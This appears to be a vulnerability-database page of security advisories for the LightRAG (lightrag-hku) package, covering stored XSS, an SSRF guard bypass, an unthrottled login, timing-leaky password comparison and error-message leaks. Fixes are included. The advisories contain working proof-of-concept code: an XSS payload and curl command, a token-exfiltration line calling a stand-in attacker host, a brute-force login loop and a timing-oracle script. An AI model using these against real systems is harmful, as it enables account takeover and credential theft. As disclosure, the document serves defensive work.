            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

Jul 13, 2026

1.5.4 patch

5 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 24, 2026

1.5.3 patch

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

